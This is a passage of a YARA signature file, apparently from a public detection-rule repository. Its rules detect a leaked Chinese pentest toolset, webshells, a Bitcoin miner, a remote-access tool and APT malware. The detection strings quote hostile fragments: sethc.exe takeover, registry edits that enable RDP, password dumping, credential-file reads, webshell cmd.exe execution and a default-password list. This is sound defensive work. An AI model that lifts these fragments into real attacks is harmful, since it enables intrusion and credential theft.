		$encrypted_pe_header_shift_193 = { bd 7a c1 0e 1b 51 c1 c4 c1 c1 c1 43 c5 c1 f1 c0 c0 c1 }
		$encrypted_pe_header_shift_194 = { be 7b c2 0f 1c 52 c2 c5 c2 c2 c2 44 c6 c2 f2 c1 c1 c2 }
		$encrypted_pe_header_shift_195 = { bf 7c c3 10 1d 53 c3 c6 c3 c3 c3 45 c7 c3 f3 c2 c2 c3 }
		$encrypted_pe_header_shift_196 = { c0 7d c4 11 1e 54 c4 c7 c4 c4 c4 46 c8 c4 f4 c3 c3 c4 }
		$encrypted_pe_header_shift_197 = { c1 7e c5 12 1f 55 c5 c8 c5 c5 c5 47 c9 c5 f5 c4 c4 c5 }
		$encrypted_pe_header_shift_198 = { c2 7f c6 13 20 56 c6 c9 c6 c6 c6 48 ca c6 f6 c5 c5 c6 }
		$encrypted_pe_header_shift_199 = { c3 80 c7 14 21 57 c7 ca c7 c7 c7 49 cb c7 f7 c6 c6 c7 }
		$encrypted_pe_header_shift_200 = { c4 81 c8 15 22 58 c8 cb c8 c8 c8 4a cc c8 f8 c7 c7 c8 }
		$encrypted_pe_header_shift_201 = { c5 82 c9 16 23 59 c9 cc c9 c9 c9 4b cd c9 f9 c8 c8 c9 }
		$encrypted_pe_header_shift_202 = { c6 83 ca 17 24 5a ca cd ca ca ca 4c ce ca fa c9 c9 ca }
		$encrypted_pe_header_shift_203 = { c7 84 cb 18 25 5b cb ce cb cb cb 4d cf cb fb ca ca cb }
		$encrypted_pe_header_shift_204 = { c8 85 cc 19 26 5c cc cf cc cc cc 4e d0 cc fc cb cb cc }
		$encrypted_pe_header_shift_205 = { c9 86 cd 1a 27 5d cd d0 cd cd cd 4f d1 cd fd cc cc cd }
		$encrypted_pe_header_shift_206 = { ca 87 ce 1b 28 5e ce d1 ce ce ce 50 d2 ce fe cd cd ce }
		$encrypted_pe_header_shift_207 = { cb 88 cf 1c 29 5f cf d2 cf cf cf 51 d3 cf ff ce ce cf }
		$encrypted_pe_header_shift_208 = { cc 89 d0 1d 2a 60 d0 d3 d0 d0 d0 52 d4 d0 00 cf cf d0 }
		$encrypted_pe_header_shift_209 = { cd 8a d1 1e 2b 61 d1 d4 d1 d1 d1 53 d5 d1 01 d0 d0 d1 }
		$encrypted_pe_header_shift_210 = { ce 8b d2 1f 2c 62 d2 d5 d2 d2 d2 54 d6 d2 02 d1 d1 d2 }
		$encrypted_pe_header_shift_211 = { cf 8c d3 20 2d 63 d3 d6 d3 d3 d3 55 d7 d3 03 d2 d2 d3 }
		$encrypted_pe_header_shift_212 = { d0 8d d4 21 2e 64 d4 d7 d4 d4 d4 56 d8 d4 04 d3 d3 d4 }
		$encrypted_pe_header_shift_213 = { d1 8e d5 22 2f 65 d5 d8 d5 d5 d5 57 d9 d5 05 d4 d4 d5 }
		$encrypted_pe_header_shift_214 = { d2 8f d6 23 30 66 d6 d9 d6 d6 d6 58 da d6 06 d5 d5 d6 }
		$encrypted_pe_header_shift_215 = { d3 90 d7 24 31 67 d7 da d7 d7 d7 59 db d7 07 d6 d6 d7 }
		$encrypted_pe_header_shift_216 = { d4 91 d8 25 32 68 d8 db d8 d8 d8 5a dc d8 08 d7 d7 d8 }
		$encrypted_pe_header_shift_217 = { d5 92 d9 26 33 69 d9 dc d9 d9 d9 5b dd d9 09 d8 d8 d9 }
		$encrypted_pe_header_shift_218 = { d6 93 da 27 34 6a da dd da da da 5c de da 0a d9 d9 da }
		$encrypted_pe_header_shift_219 = { d7 94 db 28 35 6b db de db db db 5d df db 0b da da db }
		$encrypted_pe_header_shift_220 = { d8 95 dc 29 36 6c dc df dc dc dc 5e e0 dc 0c db db dc }
		$encrypted_pe_header_shift_221 = { d9 96 dd 2a 37 6d dd e0 dd dd dd 5f e1 dd 0d dc dc dd }
		$encrypted_pe_header_shift_222 = { da 97 de 2b 38 6e de e1 de de de 60 e2 de 0e dd dd de }
		$encrypted_pe_header_shift_223 = { db 98 df 2c 39 6f df e2 df df df 61 e3 df 0f de de df }
		$encrypted_pe_header_shift_224 = { dc 99 e0 2d 3a 70 e0 e3 e0 e0 e0 62 e4 e0 10 df df e0 }
		$encrypted_pe_header_shift_225 = { dd 9a e1 2e 3b 71 e1 e4 e1 e1 e1 63 e5 e1 11 e0 e0 e1 }
		$encrypted_pe_header_shift_226 = { de 9b e2 2f 3c 72 e2 e5 e2 e2 e2 64 e6 e2 12 e1 e1 e2 }
		$encrypted_pe_header_shift_227 = { df 9c e3 30 3d 73 e3 e6 e3 e3 e3 65 e7 e3 13 e2 e2 e3 }
		$encrypted_pe_header_shift_228 = { e0 9d e4 31 3e 74 e4 e7 e4 e4 e4 66 e8 e4 14 e3 e3 e4 }
		$encrypted_pe_header_shift_229 = { e1 9e e5 32 3f 75 e5 e8 e5 e5 e5 67 e9 e5 15 e4 e4 e5 }
		$encrypted_pe_header_shift_230 = { e2 9f e6 33 40 76 e6 e9 e6 e6 e6 68 ea e6 16 e5 e5 e6 }
		$encrypted_pe_header_shift_231 = { e3 a0 e7 34 41 77 e7 ea e7 e7 e7 69 eb e7 17 e6 e6 e7 }
		$encrypted_pe_header_shift_232 = { e4 a1 e8 35 42 78 e8 eb e8 e8 e8 6a ec e8 18 e7 e7 e8 }
		$encrypted_pe_header_shift_233 = { e5 a2 e9 36 43 79 e9 ec e9 e9 e9 6b ed e9 19 e8 e8 e9 }
		$encrypted_pe_header_shift_234 = { e6 a3 ea 37 44 7a ea ed ea ea ea 6c ee ea 1a e9 e9 ea }
		$encrypted_pe_header_shift_235 = { e7 a4 eb 38 45 7b eb ee eb eb eb 6d ef eb 1b ea ea eb }
		$encrypted_pe_header_shift_236 = { e8 a5 ec 39 46 7c ec ef ec ec ec 6e f0 ec 1c eb eb ec }
		$encrypted_pe_header_shift_237 = { e9 a6 ed 3a 47 7d ed f0 ed ed ed 6f f1 ed 1d ec ec ed }
		$encrypted_pe_header_shift_238 = { ea a7 ee 3b 48 7e ee f1 ee ee ee 70 f2 ee 1e ed ed ee }
		$encrypted_pe_header_shift_239 = { eb a8 ef 3c 49 7f ef f2 ef ef ef 71 f3 ef 1f ee ee ef }
		$encrypted_pe_header_shift_240 = { ec a9 f0 3d 4a 80 f0 f3 f0 f0 f0 72 f4 f0 20 ef ef f0 }
		$encrypted_pe_header_shift_241 = { ed aa f1 3e 4b 81 f1 f4 f1 f1 f1 73 f5 f1 21 f0 f0 f1 }
		$encrypted_pe_header_shift_242 = { ee ab f2 3f 4c 82 f2 f5 f2 f2 f2 74 f6 f2 22 f1 f1 f2 }
		$encrypted_pe_header_shift_243 = { ef ac f3 40 4d 83 f3 f6 f3 f3 f3 75 f7 f3 23 f2 f2 f3 }
		$encrypted_pe_header_shift_244 = { f0 ad f4 41 4e 84 f4 f7 f4 f4 f4 76 f8 f4 24 f3 f3 f4 }
		$encrypted_pe_header_shift_245 = { f1 ae f5 42 4f 85 f5 f8 f5 f5 f5 77 f9 f5 25 f4 f4 f5 }
		$encrypted_pe_header_shift_246 = { f2 af f6 43 50 86 f6 f9 f6 f6 f6 78 fa f6 26 f5 f5 f6 }
		$encrypted_pe_header_shift_247 = { f3 b0 f7 44 51 87 f7 fa f7 f7 f7 79 fb f7 27 f6 f6 f7 }
		$encrypted_pe_header_shift_248 = { f4 b1 f8 45 52 88 f8 fb f8 f8 f8 7a fc f8 28 f7 f7 f8 }
		$encrypted_pe_header_shift_249 = { f5 b2 f9 46 53 89 f9 fc f9 f9 f9 7b fd f9 29 f8 f8 f9 }
		$encrypted_pe_header_shift_250 = { f6 b3 fa 47 54 8a fa fd fa fa fa 7c fe fa 2a f9 f9 fa }
		$encrypted_pe_header_shift_251 = { f7 b4 fb 48 55 8b fb fe fb fb fb 7d ff fb 2b fa fa fb }
		$encrypted_pe_header_shift_252 = { f8 b5 fc 49 56 8c fc ff fc fc fc 7e 00 fc 2c fb fb fc }
		$encrypted_pe_header_shift_253 = { f9 b6 fd 4a 57 8d fd 00 fd fd fd 7f 01 fd 2d fc fc fd }
		$encrypted_pe_header_shift_254 = { fa b7 fe 4b 58 8e fe 01 fe fe fe 80 02 fe 2e fd fd fe }
		$encrypted_pe_header_shift_255 = { fb b8 ff 4c 59 8f ff 02 ff ff ff 81 03 ff 2f fe fe ff }

	condition:
		filesize < 200KB and ( 1 of ( $encrypted_pe_header_shift_* ) )
}

rule CN_Honker_mafix_root
{
	meta:
		description = "Script from disclosed CN Honker Pentest Toolset - file root"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "826778ef9c22177d41698b467586604e001fed19"
		id = "ae08b2e9-4d81-5f15-88d2-e2ace20626bf"

	strings:
		$s0 = "echo \"# vbox (voice box) getty\" >> /tmp/.init1" fullword ascii
		$s1 = "cp /var/log/tcp.log $HOMEDIR/.owned/bex2/snifflog" fullword ascii
		$s2 = "if [ -f /sbin/xlogin ]; then" fullword ascii

	condition:
		filesize < 96KB and all of them
}

rule CN_Honker_passwd_dict_3389
{
	meta:
		description = "Script from disclosed CN Honker Pentest Toolset - file 3389.txt"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "2897e909e48a9f56ce762244c3a3e9319e12362f"
		id = "9418f0e5-7bf0-5df3-8857-dea90fae5a54"

	strings:
		$s0 = "654321" fullword ascii
		$s1 = "admin123" fullword ascii
		$s2 = "admin123456" fullword ascii
		$s3 = "administrator" fullword ascii
		$s4 = "passwd" fullword ascii
		$s5 = "password" fullword ascii
		$s7 = "12345678" fullword ascii

	condition:
		filesize < 1KB and all of them
}

rule CN_Honker_Perl_serv_U
{
	meta:
		description = "Script from disclosed CN Honker Pentest Toolset - file Perl-serv-U.pl"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "f333c597ff746ebd5a641fbc248497d61e3ec17b"
		id = "d793227d-dd4d-5c92-bfdc-9662c3ed8933"

	strings:
		$s1 = "$dir = 'C:\\\\WINNT\\\\System32\\\\';" fullword ascii
		$s2 = "$sock = IO::Socket::INET->new(\"127.0.0.1:$adminport\") || die \"fail\";" fullword ascii

	condition:
		filesize < 8KB and all of them
}

rule CN_Honker_F4ck_Team_f4ck
{
	meta:
		description = "Script from disclosed CN Honker Pentest Toolset - file f4ck.txt"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "e216f4ba3a07de5cdbb12acc038cd8156618759e"
		id = "abf2f277-79b4-5ca2-b12e-93a662e5d607"

	strings:
		$s0 = "PassWord:F4ckTeam!@#" fullword ascii
		$s1 = "UserName:F4ck" fullword ascii
		$s2 = "F4ck Team" fullword ascii

	condition:
		filesize < 1KB and all of them
}

rule CN_Honker_sig_3389_3389
{
	meta:
		description = "Script from disclosed CN Honker Pentest Toolset - file 3389.vbs"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "f92b74f41a2138cc05c6b6993bcc86c706017e49"
		id = "6d385820-befe-5e2b-8c48-ad90564d5f42"

	strings:
		$s1 = "success = obj.run(\"cmd /c takeown /f %SystemRoot%\\system32\\sethc.exe&echo y| " ascii

	condition:
		filesize < 10KB and all of them
}

rule CN_Honker_sig_3389_3389_2
{
	meta:
		description = "Script from disclosed CN Honker Pentest Toolset - file 3389.bat"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "5ff92f39ade12f8ba6cb75dfdc9bb907e49f0ebd"
		id = "f449f632-3102-5e62-b790-5546698dd663"

	strings:
		$s1 = "@del c:\\termsrvhack.dll" fullword ascii
		$s2 = "@del c:\\3389.txt" fullword ascii

	condition:
		filesize < 3KB and all of them
}

rule CN_Honker_Injection_Transit_jmCook
{
	meta:
		description = "Script from disclosed CN Honker Pentest Toolset - file jmCook.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "5e1851c77ce922e682333a3cb83b8506e1d7395d"
		id = "468abb0e-a163-5fc5-b6a1-896fc04b8570"

	strings:
		$s1 = ".Open \"POST\",PostUrl,False" fullword ascii
		$s2 = "JmdcwName=request(\"jmdcw\")" fullword ascii

	condition:
		filesize < 9KB and all of them
}

rule CN_Honker_Pwdump7_Pwdump7
{
	meta:
		description = "Script from disclosed CN Honker Pentest Toolset - file Pwdump7.bat"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "67d0e215c96370dcdc681bb2638703c2eeea188a"
		id = "baf6ced6-4298-5453-a020-a384c923584c"

	strings:
		$s1 = "Pwdump7.exe >pass.txt" fullword ascii

	condition:
		filesize < 1KB and all of them
}

rule CN_Honker_portRecall_pr
{
	meta:
		description = "Script from disclosed CN Honker Pentest Toolset - file pr"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "583cf6dc2304121d835f2879803a22fea76930f3"
		id = "1e137ed0-3af6-5b01-a27b-87bf42359887"

	strings:
		$s1 = "Usage: Same as lcx.exe in win32 :)" fullword ascii
		$s2 = "connect to client" fullword ascii
		$s3 = "PR(Packet redirection) for linux " fullword ascii

	condition:
		filesize < 70KB and all of them
}

rule CN_Honker_sig_3389_3389_3
{
	meta:
		description = "Script from disclosed CN Honker Pentest Toolset - file 3389.bat"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "cfedec7bd327897694f83501d76063fe16b13450"
		id = "ff61a5cb-6089-5632-a65d-09f4ffd99857"

	strings:
		$s1 = "echo \"fDenyTSConnections\"=dword:00000000>>3389.reg " fullword ascii
		$s2 = "echo \"PortNumber\"=dword:00000d3d>>3389.reg " fullword ascii
		$s3 = "echo [HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server]>>" ascii

	condition:
		filesize < 2KB and all of them
}

rule CN_Honker_Alien_D
{
	meta:
		description = "Script from disclosed CN Honker Pentest Toolset - file D.ASP"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "de9cd4bd72b1384b182d58621f51815a77a5f07d"
		id = "88529577-0dea-5aa8-b763-79a69397ddd5"

	strings:
		$s0 = "Paths_str=\"c:\\windows\\\"&chr(13)&chr(10)&\"c:\\Documents and Settings\\\"&chr" ascii
		$s1 = "CONST_FSO=\"Script\"&\"ing.Fil\"&\"eSyst\"&\"emObject\"" fullword ascii
		$s2 = "Response.Write \"<form id='form1' name='form1' method='post' action=''>\"" fullword ascii
		$s3 = "set getAtt=FSO.GetFile(filepath)" fullword ascii
		$s4 = "Response.Write \"<input name='NoCheckTemp' type='checkbox' id='NoCheckTemp' chec" ascii

	condition:
		filesize < 30KB and 2 of them
}

rule CN_Honker_ChinaChopper_db
{
	meta:
		description = "Script from disclosed CN Honker Pentest Toolset - file db.mdb"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "af79ff2689a6b7a90a5d3c0ebe709e42f2a15597"
		id = "1314e204-d3f5-5f0a-bb74-dc774fef3d3c"

	strings:
		$s1 = "http://www.maicaidao.com/server.phpcaidao" fullword wide
		$s2 = "<O>act=login</O>" fullword wide
		$s3 = "<H>localhost</H>" fullword wide

	condition:
		filesize < 340KB and 2 of them
}

rule CN_Honker_syconfig
{
	meta:
		description = "Script from disclosed CN Honker Pentest Toolset - file syconfig.dll"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "ff75353df77d610d3bccfbffb2c9dfa258b2fac9"
		id = "3850007d-20d5-5b10-a549-dc4655877c6e"

	strings:
		$s9 = "Hashq.CrackHost+FormUnit" fullword ascii

	condition:
		uint16( 0 ) == 0x0100 and filesize < 18KB and all of them
}

rule CN_Honker_linux_bin
{
	meta:
		description = "Script from disclosed CN Honker Pentest Toolset - file linux_bin"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "26e71e6ebc6a3bdda9467ce929610c94de8a7ca0"
		id = "3c56a4a8-6392-517c-a16e-63785799acb9"

	strings:
		$s1 = "client.sin_port = htons(atoi(argv[3]));" fullword ascii
		$s2 = "printf(\"\\n\\n*********Waiting Client connect*****\\n\\n\");" fullword ascii

	condition:
		filesize < 20KB and all of them
}

rule CN_Honker_Intersect2_Beta
{
	meta:
		description = "Script from disclosed CN Honker Pentest Toolset - file Intersect2-Beta.py"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "3ba5f720c4994cd4ad519b457e232365e66f37cc"
		id = "d20da18d-f8c9-5eb3-8d5d-c8816cff3200"

	strings:
		$s1 = "os.system(\"ls -alhR /home > AllUsers.txt\")" fullword ascii
		$s2 = "os.system('getent passwd > passwd.txt')" fullword ascii
		$s3 = "os.system(\"rm -rf credentials/\")" fullword ascii

	condition:
		uint16( 0 ) == 0x2123 and filesize < 50KB and 2 of them
}

rule CN_Honker_IIS_logcleaner1_0_readme
{
	meta:
		description = "Script from disclosed CN Honker Pentest Toolset - file readme.txt"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "2ab47d876b49e9a693f602f3545381415e82a556"
		id = "6f3605ab-cf9d-5f6b-8d89-6269976c5b0b"

	strings:
		$s2 = "LogCleaner.exe <ip> [Logpath]" fullword ascii
		$s3 = "http://l-y.vicp.net" fullword ascii

	condition:
		filesize < 7KB and all of them
}

rule CN_Honker_Alien_command
{
	meta:
		description = "Script from disclosed CN Honker Pentest Toolset - file command.txt"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "5896b74158ef153d426fba76c2324cd9c261c709"
		id = "55dd10c9-f7dc-5ee2-a47d-dab8cc7b60e6"

	strings:
		$s0 = "for /d %i in (E:\\freehost\\*) do @echo %i" fullword ascii
		$s1 = "/c \"C:\\windows\\temp\\cscript\" C:\\windows\\temp\\iis.vbs" fullword ascii

	condition:
		filesize < 8KB and all of them
}

rule CN_Honker_portRecall_bc
{
	meta:
		description = "Script from disclosed CN Honker Pentest Toolset - file bc.pl"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "2084990406398afd856b2309c7f579d7d61c3767"
		id = "ea74f260-87e6-5027-b558-628949cae32a"

	strings:
		$s0 = "print \"[*] Connected to remote host \\n\"; " fullword ascii
		$s1 = "print \"Usage: $0 [Host] [Port] \\n\\n\";  " fullword ascii
		$s5 = "print \"[*] Resolving HostName\\n\"; " fullword ascii

	condition:
		filesize < 10KB and all of them
}

rule CN_Honker_Tuoku_script_MSSQL_
{
	meta:
		description = "Script from disclosed CN Honker Pentest Toolset - file MSSQL_.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "7097c21f92306983add3b5b29a517204cd6cd819"
		id = "35c4f119-6a57-580a-b5ee-c36af0ccc94a"

	strings:
		$s1 = "GetLoginCookie = Request.Cookies(Cookie_Login)" fullword ascii
		$s2 = "if ShellPath=\"\" Then ShellPath = \"c:\\\\windows\\\\system32\\\\cmd.exe\"" fullword ascii
		$s8 = "Set DD=CM.exec(ShellPath&\" /c \"&DefCmd)" fullword ascii

	condition:
		filesize < 100KB and all of them
}

rule CN_Honker_nc_MOVE
{
	meta:
		description = "Script from disclosed CN Honker Pentest Toolset - file MOVE.txt"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "4195370c103ca467cddc8f2724a8e477635be424"
		id = "115d1ec9-6c4f-587e-977c-cd24ada89ab6"

	strings:
		$s0 = "Destination: http://202.113.20.235/gj/images/2.asp" fullword ascii
		$s1 = "HOST: 202.113.20.235" fullword ascii
		$s2 = "MOVE /gj/images/A.txt HTTP/1.1" fullword ascii

	condition:
		filesize < 1KB and all of them
}

rule CN_Honker_mssqlpw_scan
{
	meta:
		description = "Script from disclosed CN Honker Pentest Toolset - file mssqlpw scan.txt"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "e49def9d72bfef09a639ef3f7329083a0b8b151c"
		id = "7dc29d06-e1e7-527f-b9e5-d75f660fd73e"

	strings:
		$s0 = "response.Write(\"I Get it ! Password is <font color=red>\" & str & \"</font><BR>" ascii
		$s1 = "response.Write \"Done!<br>Process \" & tTime & \" s\"" fullword ascii

	condition:
		filesize < 6KB and all of them
}

rule BTC_Miner_lsass1_chrome_2
{
	meta:
		description = "Detects a Bitcoin Miner"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research - CN Actor"
		date = "2017-06-22"
		super_rule = 1
		score = 60
		hash1 = "048e9146387d6ff2ac055eb9ddfbfb9a7f70e95c7db9692e2214fa4bec3d5b2e"
		hash2 = "c8db8469287d47ffdc74fe86ce0e9d6e51de67ba1df318573c9398742116a6e8"
		id = "7960d96a-7bd3-5135-867d-e39a02274c45"

	strings:
		$x1 = "-t, --threads=N       number of miner threads (default: number of processors)" fullword ascii
		$x2 = "-O, --userpass=U:P    username:password pair for mining server" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 6000KB and 1 of them )
}

rule CN_Actor_RA_Tool_Ammyy_mscorsvw
{
	meta:
		description = "Detects Ammyy remote access tool"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research - CN Actor"
		date = "2017-06-22"
		hash1 = "1831806fc27d496f0f9dcfd8402724189deaeb5f8bcf0118f3d6484d0bdee9ed"
		hash2 = "d9ec0a1be7cd218042c54bfbc12000662b85349a6b78731a09ed336e5d3cf0b4"
		id = "71a0c5a9-b4dc-508d-a6b7-4b85b75bc34b"

	strings:
		$s1 = "Please enter password for accessing remote computer" fullword ascii
		$s2 = "Die Zugriffsanforderung wurde vom Remotecomputer abgelehnt" fullword ascii
		$s3 = "It will automatically be run the next time this computer is restart or you can start it manually" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 4000KB and 3 of them )
}

rule CN_Actor_AmmyyAdmin
{
	meta:
		description = "Detects Ammyy Admin Downloader"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research - CN Actor"
		date = "2017-06-22"
		score = 60
		hash1 = "1831806fc27d496f0f9dcfd8402724189deaeb5f8bcf0118f3d6484d0bdee9ed"
		id = "08ffb61a-e2de-538e-9d9f-040276324af9"

	strings:
		$x2 = "\\Ammyy\\sources\\main\\Downloader.cpp" ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 2000KB and all of them )
}

rule APT_RANCOR_JS_Malware
{
	meta:
		description = "Rancor Malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"
		date = "2018-06-26"
		hash1 = "1dc5966572e94afc2fbcf8e93e3382eef4e4d7b5bc02f24069c403a28fa6a458"
		id = "83dd9567-199e-511c-8c9a-96422bd793e7"

	strings:
		$x1 = ",0,0 >%SystemRoot%\\system32\\spool\\drivers\\color\\fb.vbs\",0,0" fullword ascii
		$x2 = "CreateObject(\"Wscript.Shell\").Run \"explorer.exe \"\"http" ascii
		$x3 = "CreateObject(\"Wscript.Shell\").Run \"schtasks /create" ascii

	condition:
		uint16( 0 ) == 0x533c and filesize < 1KB and 1 of them
}

rule APT_RANCOR_PLAINTEE_Variant
{
	meta:
		description = "Detects PLAINTEE malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"
		date = "2018-06-26"
		hash1 = "6aad1408a72e7adc88c2e60631a6eee3d77f18a70e4eee868623588612efdd31"
		hash2 = "bcd37f1d625772c162350e5383903fe8dbed341ebf0dc38035be5078624c039e"
		id = "f5b68079-0517-504d-a45f-f6ced532db82"

	strings:
		$s1 = "payload.dat" fullword ascii
		$s3 = "temp_microsoft_test.txt" fullword ascii
		$s4 = "reg add %s /v %s /t REG_SZ /d \"%s\"" fullword ascii
		$s6 = "%s %s,helloworld2" fullword ascii
		$s9 = "%s \\\"%s\\\",helloworld" fullword ascii
		$s16 = "recv plugin type %s size:%d" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and 3 of them
}

import "pe"

rule APT_RANCOR_PLAINTEE_Malware_Exports
{
	meta:
		description = "Detects PLAINTEE malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"
		date = "2018-06-26"
		hash1 = "c35609822e6239934606a99cb3dbc925f4768f0b0654d6a2adc35eca473c505d"
		id = "fa1e678d-8357-522b-9167-31321ab7753f"

	condition:
		uint16( 0 ) == 0x5a4d and pe.exports ( "Add" ) and pe.exports ( "Sub" ) and pe.exports ( "DllEntryPoint" ) and pe.number_of_exports == 3
}

import "pe"

rule APT_RANCOR_DDKONG_Malware_Exports
{
	meta:
		description = "Detects DDKONG malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"
		date = "2018-06-26"
		hash1 = "c35609822e6239934606a99cb3dbc925f4768f0b0654d6a2adc35eca473c505d"
		id = "c94d4ea2-7c16-5003-98ea-253f8a2d01d1"

	condition:
		uint16( 0 ) == 0x5a4d and pe.exports ( "ServiceMain" ) and pe.exports ( "Rundll32Call" ) and pe.exports ( "DllEntryPoint" ) and pe.number_of_exports == 3
}

rule M_APT_Downloader_BEATDROP
{
	meta:
		author = "Mandiant"
		description = "Rule looking for BEATDROP malware"
		reference = "https://www.mandiant.com/resources/tracking-apt29-phishing-campaigns"
		date = "2022-04-28"
		score = 90
		id = "5720870e-8989-59f2-998b-019084d091ce"

	strings:
		$ntdll1 = "ntdll" ascii fullword
		$ntdll2 = "C:\\Windows\\System32\\ntdll.dll" ascii fullword nocase
		$url1 = "api.trello.com" ascii
		$url2 = "/members/me/boards?key=" ascii
		$url3 = "/cards?key=" ascii

	condition:
		uint16( 0 ) == 0x5a4d and uint32( uint32( 0x3C ) ) == 0x00004550 and filesize < 1MB and all of them
}

